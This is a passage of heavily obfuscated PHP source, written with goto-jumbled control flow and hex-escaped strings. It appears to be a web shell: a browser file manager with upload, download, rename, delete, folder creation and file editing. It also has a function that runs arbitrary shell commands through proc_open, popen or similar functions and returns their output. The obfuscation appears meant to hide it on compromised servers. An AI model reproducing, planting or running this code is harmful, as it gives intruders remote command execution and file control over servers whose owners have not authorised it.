(isset($_POST["\x66\x72\x6f\x6d\137\x6e\141\x6d\145"], $_POST["\x74\x6f\137\156\141\155\145"])) { goto D7rPr; } goto MxPjN; nguMN: O7Ngn: goto WGF9m; bXhQH: xWl9O: goto B2ZvF; CZlzQ: goto gpsT8; goto YzrBU; gOtIw: $H_eTv = $_GET["\165\x70\x6c\157\141\144\x5f\x66\x69\x6c\x65"]; goto x3eM5; Qj1SE: if (!function_exists("\x73\145\163\163\151\157\x6e\x5f\x72\145\147\145\x6e\145\162\141\164\145\137\x69\x64")) { goto mz3vQ; } goto MuBH1; DSkc5: goto J51LC; goto F25vn; YjOr2: goto bNVNU; goto yqEP7; JaFLk: goto vqhLL; goto SyKZ_; phWAp: jNGau: goto bAT30; U0ykT: m3T8g: goto HcCka; OqS2y: exit; goto bX3hV; flXtF: uEV1r: goto nmEEO; tjmYs: goto p3edl; goto utZQw; iisrt: goto WLzjK; goto wslw8; xVn6h: $Ha841 = "\x44\x6f\x77\156\x6c\x6f\141\144\40\x66\x61\x69\154\x65\144\x3a\40\x49\x6e\x76\x61\x6c\x69\x64\40\x70\141\x74\150"; goto n9q1K; z2RDC: echo "\x22\76\xa\40\x20\40\40\x20\x20\x20\40\40\40\x20\x20\40\40\x20\40\74\x62\165\x74\x74\x6f\x6e\x20\x74\x79\160\x65\75\x22\163\165\142\155\x69\x74\42\x20\143\154\x61\x73\163\x3d\42\142\164\156\x20\x62\164\x6e\x2d\x67\150\x6f\163\x74\x22\x3e\74\x73\166\147\40\x77\151\x64\164\150\75\x22\x31\x36\42\x20\150\145\151\147\x68\x74\75\42\x31\66\42\40\166\x69\x65\x77\102\x6f\170\x3d\x22\60\x20\x30\x20\x32\x34\40\62\x34\x22\x20\146\x69\154\x6c\75\42\156\x6f\156\x65\42\x20\x73\164\x72\x6f\x6b\x65\75\42\143\165\162\162\145\x6e\x74\103\x6f\x6c\157\162\42\40\163\164\x72\157\x6b\x65\x2d\167\x69\144\x74\150\x3d\x22\62\42\x3e\x3c\x6c\151\x6e\145\40\x78\61\x3d\42\61\71\42\x20\x79\x31\x3d\x22\x31\62\42\40\x78\62\75\x22\65\x22\x20\x79\62\75\x22\x31\x32\x22\x2f\x3e\x3c\x70\157\x6c\x79\154\151\x6e\x65\x20\x70\x6f\151\156\x74\163\x3d\x22\x31\62\40\x31\x39\x20\65\40\x31\62\40\61\62\40\65\x22\x2f\76\74\x2f\x73\166\x67\76\40\x50\x61\162\x65\156\164\x3c\x2f\142\x75\164\164\x6f\x6e\x3e\12\40\x20\40\40\40\x20\40\x20\40\40\40\40\74\x2f\x66\x6f\162\x6d\x3e\xa\x20\x20\x20\40\40\x20\x20\40\74\x2f\x64\x69\x76\76\xa\40\40\40\40\x20\x20\40\40\74\164\x61\x62\x6c\x65\x20\x63\154\x61\x73\x73\75\42\146\x69\154\x65\55\x74\x61\x62\154\x65\42\76\xa\40\40\x20\x20\40\40\x20\x20\40\40\40\40\74\164\x68\x65\x61\x64\x3e\12\x20\40\x20\x20\40\40\40\x20\40\x20\x20\40\40\x20\x20\40\x3c\164\x72\76\12\40\40\40\40\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x3c\x74\x68\40\x73\x74\171\x6c\145\75\x22\167\151\x64\164\x68\72\x20\64\x30\160\x78\73\x22\x3e\x3c\x69\156\160\165\x74\x20\164\171\x70\145\75\x22\143\x68\145\143\x6b\142\x6f\170\42\40\x6f\x6e\143\x6c\151\x63\x6b\x3d\42\164\157\147\x67\x6c\x65\x53\x65\x6c\145\x63\x74\x41\154\x6c\50\x74\150\x69\163\x29\x22\76\x3c\x2f\x74\x68\x3e\xa\40\40\x20\40\40\40\40\40\x20\40\40\40\x20\40\x20\x20\40\x20\x20\x20\x3c\x74\150\x3e\116\x61\155\145\x3c\57\164\150\x3e\xa\40\x20\40\x20\x20\x20\40\40\x20\x20\40\40\x20\x20\40\x20\40\40\40\x20\74\x74\x68\40\163\x74\x79\x6c\x65\75\x22\167\151\x64\164\150\x3a\40\61\60\x30\160\170\x3b\42\76\124\x79\x70\x65\74\x2f\x74\x68\x3e\xa\x20\x20\40\x20\x20\40\40\x20\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\74\164\150\40\x73\x74\x79\154\x65\75\x22\167\151\144\164\150\72\40\61\x30\60\x70\170\x3b\40\x74\145\170\x74\x2d\x61\154\151\147\x6e\72\40\162\151\147\x68\x74\73\x22\x3e\123\x69\x7a\x65\74\x2f\x74\x68\x3e\xa\x20\x20\40\x20\x20\40\40\40\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\x20\x3c\164\150\40\x73\x74\171\154\145\x3d\42\167\x69\x64\x74\150\72\40\x31\65\60\x70\170\x3b\x22\x3e\x4d\157\144\151\x66\x69\145\144\x3c\x2f\x74\x68\76\12\40\x20\40\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\40\x20\x3c\164\x68\x20\x73\164\x79\154\x65\x3d\x22\x77\151\144\164\150\x3a\40\x39\x30\160\x78\x3b\40\164\x65\170\164\x2d\x61\154\151\147\156\x3a\x20\x63\x65\156\x74\145\x72\x3b\x22\x3e\x50\145\162\x6d\163\74\x2f\164\150\x3e\12\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\40\x20\x3c\164\150\40\x73\164\171\154\145\75\x22\167\151\144\164\150\x3a\x20\62\63\60\x70\x78\x3b\40\164\x65\170\x74\55\141\154\151\x67\156\x3a\40\x72\151\147\150\164\73\42\x3e\x41\x63\x74\151\x6f\156\x73\74\57\164\150\76\12\x20\40\40\40\40\x20\x20\x20\x20\40\x20\40\40\40\x20\x20\74\x2f\x74\162\x3e\xa\40\40\40\40\x20\x20\x20\40\x20\40\40\x20\x3c\x2f\164\x68\145\141\x64\x3e\xa\40\40\x20\40\40\40\40\40\40\x20\x20\40\x3c\164\x62\x6f\144\x79\x3e\12\x20\40\40\40\x20\40\40\x20"; goto YfJmg; CcWoJ: cTmFQ: goto tdkOH; nc1oW: AFknU: goto lnT8e; Joqk9: k64kE: goto QeODf; AWJu8: PyOJ1: goto ppNEX; u2ISy: goto RNMAa; goto RAtl9; qRKe2: goto wZMZG; goto UXsn3; bXzuP: lDCk2: goto JeCGm; laBPL: goto RGyzn; goto pprQQ; OkxHV: goto XJ4dp; goto AWJu8; a5dgk: U6RUm: goto gId5t; y7Vfg: HXJ1Z: goto I32Rh; umzpv: echo "\42\76\xa\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x3c\x74\x65\x78\164\x61\162\145\141\x20\156\141\155\145\75\x22\x63\x6f\x6e\164\145\156\x74\x22\40\x73\x74\171\x6c\x65\75\42\155\151\156\x2d\x68\145\x69\147\x68\x74\x3a\40\x34\x30\x30\160\170\73\40\167\x69\144\x74\150\x3a\40\61\x30\x30\45\73\40\x62\x6f\170\x2d\163\151\172\151\x6e\x67\72\40\x62\x6f\162\x64\x65\x72\55\142\157\x78\73\x22\x3e"; goto HxvJl; jmbtt: n8hbz: goto cdhNI; IktLe: @readfile($GId_d); goto aDyVR; h3X4_: zy6ig: goto mRUrK; C1kPl: if (!@mkdir($Yy22r, 0755)) { goto cbJzp; } goto CeRqJ; q68Jw: goto r6T1T; goto w33cf; IXcvg: goto KlhN3; goto bzYdr; TP3Jr: goto zatiz; goto afrEs; c4Lb9: goto LfkcF; goto r73fK; vGfoZ: echo DkzCY(); goto D6ISb; p0y2a: if ($_SERVER["\x52\105\121\x55\x45\x53\x54\137\115\105\124\x48\117\x44"] === "\x50\117\123\x54" && !empty($_POST)) { goto rtWkr; } goto riU2f; os_aS: ezJU2: goto WCZCu; a31zY: pGIlA: goto IR3c4; wpUca: KdQ_a: goto r7XmN; nvguI: goto aOolM; goto DY5Ev; moWLy: echo "\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x3c\144\151\x76\40\x63\154\141\x73\163\75\42\x63\x6f\156\163\x6f\154\x65\42\40\x73\164\171\154\145\75\42\155\x61\x72\x67\x69\x6e\x2d\x74\x6f\160\x3a\40\61\x32\x70\x78\73\x22\x3e"; goto OkxHV; N2P1R: $Ha841 = "\122\145\156\x61\x6d\145\40\x66\x61\151\x6c\x65\x64\x3a\40\124\x61\x72\147\x65\x74\x20\x6e\141\x6d\145\x20\x61\154\x72\x65\141\x64\x79\x20\x65\170\x69\163\164\x73"; goto Y6xxS; EY103: dWouY: goto F6zsl; dYb6o: V_2Sb: goto WK1H6; F5RmB: RbU12: goto RbGt3; L9coj: goto JEv4Y; goto uGn2w; uRjn1: QpF_1: goto i24h1; auyZ2: goto gpoAk; goto eRZim; BAulJ: goto Z9AGj; goto z4_ER; UNaMY: goto CQOGD; goto J69yl; I683E: goto MB7Z8; goto KF2cf; ahpbh: exit; goto tp0Zw; SE6KS: M1cz5: goto OMQn8; BvwJL: MRyxj: goto oMkOh; fIifM: QiL0y: goto Smu3p; go0Wh: goto etDXP; goto VdZk5; bRCix: goto cm0G5; goto abelu; lzn37: if (!$rlZEq) { goto NfAgE; } goto FIK7b; RZ8ri: goto b650E; goto d72rY; JEmpm: rtWkr: goto dvITC; pMekR: $z1JY9 = "\106\151\154\145\x20\163\141\x76\145\144"; goto dC7v3; wM9WE: FaP_p: goto Xsk6S; B2ZvF: goto Uoosr; goto Q2yZ_; H2jf5: goto EAW1G; goto gv1G6; bBIwR: OiWcs: goto p5rPT; Dz1CD: goto j5srw; goto oLTIp; rbUNJ: M0P_C: goto CKUJY; rSsnP: goto GR0UD; goto kXO1w; E14n0: goto rTrvZ; goto Cguxt; dGn9Y: goto dDCFr; goto USDjv; fSfQE: $X9VNQ = R06Ye($_POST["\x6d\x6b\x5f\x66\157\x6c\x64\x65\162"]); goto PA9wW; x9xe9: goto Q40hX; goto rIEoh; abelu: JEq3P: goto EUTB_; og22H: D7rPr: goto BqkIW; cykA0: aTwuN: goto VHRif; GzqKv: o6j9m: goto H4U51; ld4j7: NSGoU: goto wWDUW; dyxl8: goto cGd6v; goto kxjAB; OF6UB: icIHB: goto l1CgT; DfSPs: goto CCCkv; goto bXhQH; sDQT9: goto y3XEW; goto N0KSU; tssq6: echo dkzcY(); goto eVPp9; QwqYt: goto xFa1d; goto WciDX; n11P5: goto MRyxj; goto Vqq22; ajBLc: header("\x43\x6f\x6e\164\145\x6e\x74\55\114\145\x6e\147\164\150\72\x20" . $jsTcT); goto qAhNm; st_UZ: bHIkB: goto e633K; OJObd: goto nyL5f; goto nhzXw; yJJYt: header("\x58\x2d\x43\157\156\x74\145\x6e\164\x2d\x54\171\160\145\55\x4f\160\x74\151\157\156\163\x3a\x20\156\157\x73\x6e\151\x66\x66"); goto T6EJl; pI9Vy: GifM6: goto laPsO; gdU3c: goto L6L_C; goto uUYU1; YT3cc: K8kyw: goto O7f2j; ZH75R: if ($FcgCm === false || $FcgCm === '') { goto CyxbO; } goto vEfAM; ffGfv: goto Nt0UN; goto uzSLP; Uigjo: uxm9E: goto mWI5U; ys8Tc: iP4jl: goto PeQXm; pN6gL: VXJ4X: goto Rr4U2; OeU6G: RPgAE: goto UNnBd; HIv1N: echo htmlentities($Ha841); goto BcW1L; r3u3h: fclose($krS6l); goto qVja0; vQp78: goto HrQUb; goto MabGz; Lokth: Akn9Q: goto ENmPB; o4Ia3: echo htmlentities($lYApr); goto JVNzP; qpk5t: Pn_5o: goto vnLjH; FIK7b: goto vEb7R; goto vnPDs; QM6RY: $z1JY9 = "\x44\145\x6c\145\164\x65\x64\40{$qjc0Q}\40\151\164\x65\155\x28\x73\51" . ($HfFpu > 0 ? "\40\50\106\x61\151\154\x65\x64\72\x20{$HfFpu}\51" : ''); goto E14n0; ciert: goto PO4y2; goto QnETv; htg8_: goto kYtXr; goto yWDfh; epN5G: goto CK2JO; goto UPy1z; SVsPV: goto Mwreo; goto rLFZS; mFgNZ: u_OY8: goto hwOgV; H4U51: goto RCZzW; goto sNkVv; N0_yC: $Ha841 = "\103\x72\x65\x61\164\x65\40\x66\x61\x69\154\x65\x64\72\40\106\151\x6c\x65\40\141\x6c\162\145\x61\x64\171\x20\145\x78\x69\163\164\x73"; goto kBrpg; LfW8c: goto wRikY; goto UhXIJ; tZH0B: goto kkXz2; goto euvp4; idOBi: goto ifZEq; goto w6kwI; fX1CA: function TfQZm($q0ESM) { $rT71r = strtolower(pathinfo($q0ESM, PATHINFO_EXTENSION)); return $rT71r ? strtoupper($rT71r) : ''; } goto Y0Igu; yaxIL: hEhr1: goto kZkbk; vEocR: y7nn9: goto u_CrG; jnLRx: L8Lbl: goto QNgJD; AdDx8: RJJ8N: goto Qbd0G; UVeqi: xE64k: goto bwPhm; JnbCO: goto QM7Zu; goto hx_F3; VHRif: $zEfFD = basename($_FILES["\x75\x70\154\157\x61\x64"]["\x6e\x61\x6d\x65"]); goto d8NBd; jZo0p: CK2JO: goto bQE5_; rkshZ: goto wL4vx; goto Uigjo; xlKRa: $Yy22r = $_SESSION["\143\x75\x72\162\145\x6e\x74\137\144\x69\x72"] . DIRECTORY_SEPARATOR . $X9VNQ; goto sxps2; MgKBb: goto goJng; goto sJhu8; We7G9: if ($jsTcT !== false) { goto D8vPw; } goto wn3aw; Dxkbi: goto JOitx; goto J2xTl; rcOBM: K42C4: goto KswI8; rKMgR: goto oPh32; goto oSuOO; kQYLU: $z1JY9 = "\106\151\x6c\x65\x20\x64\145\x6c\145\164\x65\x64"; goto lHHr2; zscRp: echo "\40\x20\x20\40\x3c\x64\151\166\x20\x63\x6c\x61\163\x73\x3d\x22\143\x61\x72\144\42\40\x73\164\x79\x6c\x65\x3d\42\x6d\x61\162\x67\x69\x6e\55\x62\x6f\164\x74\157\x6d\72\40\x32\60\160\x78\x3b\x22\76\12\40\40\x20\40\40\40\x20\x20\x3c\x64\x69\x76\40\x63\x6c\141\163\163\x3d\42\x63\141\x72\x64\55\150\x65\x61\x64\145\162\x22\76\12\x20\x20\40\40\x20\x20\40\x20\x20\40\40\x20\74\x73\x70\x61\156\x20\x63\x6c\141\x73\x73\x3d\42\143\141\x72\x64\55\164\x69\x74\x6c\145\x22\x3e\12\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\x20\x3c\163\166\x67\x20\167\151\144\x74\150\75\x22\x31\66\42\x20\150\x65\x69\x67\x68\164\x3d\42\x31\x36\42\x20\x76\x69\145\x77\x42\x6f\x78\x3d\x22\60\x20\60\40\62\x34\40\x32\64\42\x20\146\151\x6c\154\x3d\x22\156\157\x6e\145\42\40\x73\164\x72\x6f\153\x65\75\42\143\165\x72\162\x65\x6e\x74\x43\x6f\154\157\x72\x22\40\x73\164\x72\x6f\x6b\145\55\x77\x69\x64\x74\x68\75\42\62\x22\x3e\74\160\141\164\150\x20\144\75\42\x4d\x31\40\x31\x32\163\64\x2d\x38\40\61\x31\x2d\x38\x20\x31\x31\40\70\x20\61\x31\40\x38\55\64\40\x38\55\x31\x31\40\70\x2d\x31\61\55\70\x2d\61\x31\x2d\x38\172\42\57\76\x3c\143\x69\x72\x63\154\145\x20\x63\170\x3d\x22\x31\x32\x22\x20\x63\x79\75\42\61\62\42\x20\x72\75\x22\63\x22\x2f\x3e\74\x2f\163\166\x67\76\12\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x56\151\x65\167\x69\156\x67\72\x20"; goto yolRV; lGwI5: goto DIi9D; goto OO78x; mSzdb: goto MgI9S; goto y5n14; BUgQv: L6L_C: goto ujRYI; WfIP5: goto Orl42; goto Udiop; KmzvG: goto xEQMV; goto U32ag; q977X: RATdx: goto y2CN3; wVJhH: $rlZEq = false; goto u2ISy; PRdG1: goto lcFQ3; goto y7Vfg; YTiW8: HVker: goto uZTpi; I7se5: fclose($WAN6O); goto se_IO; bvZwo: l0uIR: goto bMTtf; BiJw1: function kCr4Z($uZY_B) { goto wBRt0; AFtwH: if ($v_1mp !== null && $v_1mp !== false && trim($v_1mp) !== '') { goto vtU2m; } goto lENRF; ci8TX: $krS6l = stream_get_contents($R8Ilc[1]); goto XLOvP; Q7Lo5: $v_1mp = ob_get_clean(); goto eH2UD; sy52i: gY2Vp: goto enf6T; enf6T: goto wE12F; goto sBqq9; qkEsQ: jKvf2: goto xUShT; n2Nb6: $TDLXC = array(1 => array("\160\x69\x70\145", "\x77"), 2 => array("\160\x69\160\145", "\167")); goto cqM3R; ojF0t: H4FEG: goto ubNv3; ywdjx: goto ObHA_; goto jgE5V; KbKP1: vdvHL: goto zY7KL; G449B: goto QeBJu; goto YB2R1; dakCq: $nUwxN = $UeVid[5]; goto oSG5n; RT0I6: goto NsIRk; goto B3a2Q; FPj4w: EB2Jy: goto NYf1O; Z224n: goto H4FEG; goto ojF0t; dtLtw: ipMi3: goto TFKP1; R3qwR: T6xE1: goto KbKP1; o6idz: L7XxI: goto MoPGr; ubNv3: G5Boe: goto cGK6q; ABcib: goto prLye; goto LS1NY; JbZk4: DgySq: goto hd83n; Qboy8: goto uejOX; goto m019u; ml599: goto fUhGk; goto qde2C; rtS_0: ob_start(); goto o2Gzb; NYf1O: @$Iursb($UGszn); goto YtWw9; stIXn: goto lLwhe; goto ZXWoB; pr1OR: dY0Bf: goto rtS_0; eH2UD: goto FqnXN; goto Ty1Uc; K3VKY: iYJR6: goto TA_vm; NVL2I: if (vWtvB($D3By0)) { goto iYJR6; } goto zYB6Y; zD71V: bB6cQ: goto Z224n; id2Vz: MRl7M: goto nIG82; axTkA: return $v_1mp; goto agp0I; u5WRF: return "\116\x6f\40\143\x6f\x6d\x6d\x61\156\144\40\x70\162\x6f\x76\x69\144\145\x64"; goto ABcib; cMmTa: if ($v_1mp !== false && $v_1mp !== '') { goto syzMX; } goto QTG9N; f_I0e: flWzV: goto Wv4bx; RZDCT: goto k76no; goto VX4oY; fVqQq: vtU2m: goto Ix1ft; m8GOF: goto gWWhp; goto UbEGs; E66DB: th0aE: goto qUZSS; MGvCx: goto L7XxI; goto cpioi; cqM3R: goto w1tNn; goto M5JyQ; B_879: goto bSH_u; goto d0Kls; xZaM2: goto nxal7; goto S3p31; o7jcZ: if (vWTvb($NPvWR)) { goto JTyii; } goto zjVeP; qIp3Y: goto V2iFR; goto gUC4q; N1qZF: $q30fr = @$nUwxN($UGszn, $TDLXC, $R8Ilc); goto i3fmZ; f1lv7: goto EC5eE; goto dtLtw; P70ev: goto WqwpY; goto o6idz; rM5IT: TA75G: goto DoXEV; jxPE1: nxal7: goto V_MDk; Sg2o8: goto DsJ61; goto ReZj0; i3fmZ: goto uTjsO; goto IWfoT; cdCn1: NsIRk: goto iv9_D; JUONF: goto MRl7M; goto nc7oB; zjVeP: goto gY2Vp; goto hdKZ_; cpioi: zdiJ4: goto ZtYPg; CnwC9: V2dWC: goto WytF1; JtKec: goto Expwo; goto VNj5Y; N3arZ: goto EsHaF; goto sJUUI; z4GqC: hKO3h: goto kIplP; BWnuf: if (vWtvB($z39NP)) { goto wnzTd; } goto iQ8TK; y1Qf_: SntK7: goto m8GOF; UPM3A: N83uG: goto CPVhH; dCYJq: xWSOh: goto PWygx; f52bU: nmHvM: goto W2s4X; uRhQg: zn9nb: goto zD71V; nCK9p: GC_9y: goto HYXmz; ya4PN: hbShf: goto Bv6yZ; S3p31: Pu5FY: goto nHsCT; J_68k: goto bB6cQ; goto b7IMh; BR0B4: if ($v_1mp !== '') { goto BPbPv; } goto J_68k; iZF1s: if ($uZY_B === '') { goto UX6OX; } goto IPcP7; oSG5n: goto fRSFf; goto xlSLf; kDBKY: j_RIL: goto N5gtr; VKAzS: goto l2_9r; goto YQEAl; qde2C: DsJ61: goto cMmTa; q0Wry: goto MFOqr; goto yzDpj; EWDP_: lLwhe: goto nCK9p; trCFx: goto eev8H; goto t3mEV; C_ZLf: goto T9JSi; goto Jsp8e; qUZSS: return $v_1mp; goto oVlcL; agp0I: goto RJ8_P; goto ruuTx; cZJL0: goto ipMi3; goto kDBKY; DqXtK: return "\103\x6f\155\x6d\141\156\144\x20\145\x78\145\x63\x75\x74\x69\157\x6e\x20\x6e\157\164\x20\141\x76\x61\x69\154\x61\142\x6c\145"; goto wd3ky; TA_vm: goto CSKSk; goto b_OQP; wBRt0: goto YqpuZ; goto R3qwR; b_OQP: CSKSk: goto NxJUv; xlSLf: eV6X7: goto o7jcZ; btu3M: fRSFf: goto NVL2I; NWML8: goto G5Boe; goto UOxty; ruuTx: RKF5y: goto n2Nb6; PWygx: goto h3xur; goto GJtY8; XCmTW: goto EAcKS; goto dCYJq; SiNhr: $v_1mp = $krS6l . $tmYKn; goto C_ZLf; Y6IX5: iGtt_: goto MT3lS; nHsCT: goto zV_ts; goto y3zKi; nQIR9: k76no: goto wEvVY; ZzIzR: goto N83uG; goto FWJ1r; adHG1: h3xur: goto bZuv6; SMH_h: goto FK_FD; goto hdxgY; nc7oB: DVhoI: goto OztbW; dQIbq: EsHaF: goto ml599; zY7KL: goto eaohP; goto RQNWO; kzlIR: T9JSi: goto BR0B4; XLOvP: goto tJknp; goto E66DB; DkX34: KW5S9: goto lGigR; dt5Om: fclose($R8Ilc[2]); goto B_879; hMUST: S6UNV: goto u5WRF; V_MDk: goto cUxYl; goto uRhQg; Fd_IL: fclose($R8Ilc[1]); goto CYDha; TFKP1: return $v_1mp; goto stIXn; YB2R1: JvGtC: goto IJZxh; r74FP: if (VWtvB($nUwxN)) { goto xiD6x; } goto gCc0w; wEvVY: if ($v_1mp !== '') { goto hbShf; } goto up773; LkWGo: f3tpG: goto N3arZ; sBqq9: RJ8_P: goto frYNg; RMnTP: if (!empty($krS6l)) { goto xWSOh; } goto XCmTW; dCFzy: goto zn9nb; goto OJp1Q; Dl_Qe: KNRrP: goto yo2da; zWXQy: goto qwyEu; goto z4GqC; Kodj9: $v_1mp .= fread($vOCLd, 4096); goto ocNiX; OX1Fc: $Iursb = $UeVid[2]; goto JUONF; JmYit: PirBW: goto y1Qf_; zYB6Y: goto TA75G; goto K3VKY; t3mEV: Hp193: goto dakCq; OztbW: $v_1mp = ob_get_clean(); goto Sg2o8; ReZj0: eev8H: goto RMnTP; UOxty: VZBFE: goto Vu20b; Bv6yZ: goto th0aE; goto EWDP_; e7txJ: xiD6x: goto umbf6; FWJ1r: nRa9R: goto dt5Om; MT3lS: XUT7j: goto b3bVS; ko2Wz: $tmYKn = stream_get_contents($R8Ilc[2]); goto LXDZB; D25f6: goto Hp193; goto WZr0k; YmhZa: lUMYG: goto Fd_IL; iv9_D: $uZY_B = trim($uZY_B); goto u0QVw; N6c2F: goto EB2Jy; goto GGZLC; VX4oY: uTjsO: goto nFl2_; GGZLC: Cyamg: goto VxUm4; t8msr: if ($v_1mp !== false && $v_1mp !== '') { goto lYlw7; } goto VMP9B; nFl2_: if (is_resource($q30fr)) { goto VZBFE; } goto NWML8; MNEe8: $NPvWR = $UeVid[1]; goto IO5Sg; B3a2Q: wE12F: goto Wqv6J; WZr0k: MFOqr: goto AFtwH; S4uNY: goto j_RIL; goto qkEsQ; RQNWO: zV_ts: goto bt_4I; W2s4X: $v_1mp = ''; goto W6EG8; TtqiD: P5DeD: goto ci8TX; NxJUv: $v_1mp = @$D3By0($UGszn); goto q0Wry; Gjo0D: goto fUTM9; goto yrlLk; QTG9N: goto GC_9y; goto yflk4; p40AA: uejOX: goto tnDST; YQEAl: EC5eE: goto BWnuf; IGMX8: lYlw7: goto LyyYZ; VNj5Y: miS51: goto OX1Fc; oVlcL: goto iGtt_; goto iX6gR; gr2zD: yx9cH: goto dQIbq; hd83n: @$MLb92($UGszn); goto N0zgg; Vu20b: goto P5DeD; goto gr2zD; DoXEV: goto eV6X7; goto JbZk4; Tbgl9: goto V2dWC; goto eaSzG; ocNiX: goto f3tpG; goto hMUST; Py8Un: WqwpY: goto Z0E4b; WytF1: @$NPvWR($UGszn, $krS6l); goto trCFx; frYNg: gMG2m: goto rZYTB; o2Gzb: goto DgySq; goto adHG1; LXDZB: goto lUMYG; goto UPM3A; jVr2W: proc_close($q30fr); goto THuRV; xUShT: AO2nj: goto ywdjx; ZtYPg: $D3By0 = $UeVid[0]; goto JtKec; hdKZ_: JTyii: goto P70ev; IWfoT: l2_9r: goto sy52i; m019u: w1tNn: goto N1qZF; ZXWoB: Lv3aY: goto jxPE1; OJp1Q: prLye: goto DkX34; VxUm4: $UGszn = $uZY_B . "\x20\62\x3e\46\61"; goto ZsY6I; cGK6q: goto PirBW; goto Y6IX5; up773: goto XUT7j; goto ya4PN; yflk4: syzMX: goto cZJL0; iYvdm: tJknp: goto ko2Wz; N5gtr: return $v_1mp; goto dCFzy; M5JyQ: FqnXN: goto t8msr; u0QVw: goto p7_Zw; goto nQIR9; LyyYZ: goto Pftbm; goto Py8Un; Wv4bx: qwyEu: goto f1lv7; yrlLk: FAKT5: goto pDQmC; d0Kls: m_FbU: goto Q7Lo5; VMP9B: goto gMG2m; goto IGMX8; JQ2p9: goto T6xE1; goto f52bU; YtWw9: goto DVhoI; goto kzlIR; CPVhH: $vOCLd = @$z39NP($UGszn, "\162"); goto Gjo0D; yzDpj: fUTM9: goto X4FU0; gCc0w: goto SntK7; goto e7txJ; pDQmC: QeBJu: goto JQ2p9; hdxgY: p7_Zw: goto iZF1s; tH2eD: gWWhp: goto DqXtK; lENRF: goto AO2nj; goto fVqQq; tnDST: pclose($vOCLd); goto RZDCT; SFQpc: iwJTT: goto HYbtr; Jsp8e: ObHA_: goto rM5IT; N0zgg: goto m_FbU; goto f_I0e; CYDha: goto nRa9R; goto cdCn1; IO5Sg: goto miS51; goto TtqiD; X4FU0: if ($vOCLd) { goto JvGtC; } goto G449B; b3bVS: goto FAKT5; goto btu3M; iX6gR: Tay_E: goto GEn_H; y3zKi: Expwo: goto MNEe8; cj9Ii: UX6OX: goto Y0D3g; iwkYI: if (vwTvb($MLb92)) { goto hKO3h; } goto zWXQy; kIplP: goto dY0Bf; goto SFQpc; jgE5V: Tn12j: goto SiNhr; gUC4q: V2iFR: goto Kodj9; MoPGr: $z39NP = $UeVid[4]; goto D25f6; W9JU7: goto jKvf2; goto pr1OR; IPcP7: goto KW5S9; goto cj9Ii; THuRV: goto Tn12j; goto vAw3Q; HYbtr: return $v_1mp; goto W9JU7; iQ8TK: goto vdvHL; goto K_pxt; eaSzG: bSH_u: goto jVr2W; wd3ky: goto Tay_E; goto p40AA; Wqv6J: if (VWTVb($Iursb)) { goto Pu5FY; } goto xZaM2; gVk2K: eaohP: goto r74FP; vAw3Q: cUxYl: goto iwkYI; yo2da: FiCX3: goto Qboy8; sJUUI: goto KNRrP; goto iYvdm; Ix1ft: goto iwJTT; goto tH2eD; lGigR: goto Cyamg; goto LkWGo; bt_4I: ob_start(); goto N6c2F; MuJoR: global $UeVid; goto RT0I6; rZYTB: goto flWzV; goto CnwC9; ofAjd: EAcKS: goto VKAzS; MsvhV: oyekN: goto qIp3Y; IJZxh: goto nmHvM; goto gVk2K; Z0E4b: $krS6l = array(); goto Tbgl9; PJcGh: goto FiCX3; goto MsvhV; b7IMh: BPbPv: goto S4uNY; rwk2E: if (!feof($vOCLd)) { goto oyekN; } goto PJcGh; K_pxt: wnzTd: goto ZzIzR; W6EG8: goto yx9cH; goto id2Vz; Ty1Uc: fUhGk: goto rwk2E; GJtY8: FK_FD: goto ofAjd; ZsY6I: goto zdiJ4; goto YmhZa; Y0D3g: goto S6UNV; goto JmYit; LS1NY: Pftbm: goto axTkA; UbEGs: YqpuZ: goto MuJoR; HYXmz: goto Lv3aY; goto FPj4w; umbf6: goto RKF5y; goto Dl_Qe; nIG82: $MLb92 = $UeVid[3]; goto MGvCx; bZuv6: return implode("\xa", $krS6l); goto SMH_h; GEn_H: } goto sO6YJ; y7mI8: j5srw: goto nzk_B; g_w2_: O6go2: goto eMCaZ; cTNsY: goto UpKJ9; goto Z_bFl; b4muV: K8FpO: goto N9tzE; Yj2el: qQhoV: goto Uci7h; PhH8E: if (!empty($_GET["\165\x70\x6c\x6f\141\144\x5f\x66\151\x6c\x65"]) && !empty($_GET["\156\x61\x6d\145"])) { goto zV4xw; } goto CUo4C; tmY9T: MnfTm: goto WQuD8; rItrj: k95L3: goto ay0R8; bjzh1: goto jCddY; goto cVqRy; id4Gm: if ($Ha841) { goto KCm2o; } goto vLo9L; ramEb: if (!function_exists("\150\x74\164\x70\137\162\x65\163\160\157\x6e\163\145\x5f\x63\157\144\145")) { function http_response_code($t0fzl = null) { goto kQaSg; cRXgq: return $ROGqG; goto QdYgy; bnjR1: LjZr6: goto Wx3lH; NjonN: q0PlK: goto xrgB0; nSY4q: goto bNsry; goto PgK7T; rio5w: caFnP: goto ySSqG; bjPJ_: lNc8_: goto AgFig; C1TlI: goto jq9SU; goto BkYrx; zs1HX: $LG_lR = isset($hjlST[$t0fzl]) ? $hjlST[$t0fzl] : "\x53\164\141\x74\x75\x73"; goto E1FHO; E1FHO: goto q0PlK; goto NjonN; bySSF: BRfgT: goto k0lPq; QdYgy: goto eD6Di; goto bySSF; Wx3lH: static $ROGqG = 200; goto L9Zbj; AgFig: goto y1ErK; goto XrN1b; vUpan: goto ts8yg; goto bjPJ_; P2L_c: RE6dg: goto cRXgq; HfRQV: Ma9nV: goto iUosc; g9zoD: ttUdy: goto c6s4g; kQaSg: goto LjZr6; goto MItD0; BkYrx: y1ErK: goto LhS2j; L9Zbj: goto BRfgT; goto rio5w; bANzm: goto omjIm; goto se5oT; Blkq1: goto RE6dg; goto bnjR1; O4gNK: goto ttUdy; goto HfRQV; iUosc: $f0hsW = isset($_SERVER["\x53\x45\x52\x56\105\122\137\x50\122\117\124\x4f\103\117\114"]) ? $_SERVER["\123\x45\122\126\105\x52\137\120\122\117\124\117\103\117\114"] : "\110\x54\x54\120\x2f\x31\x2e\60"; 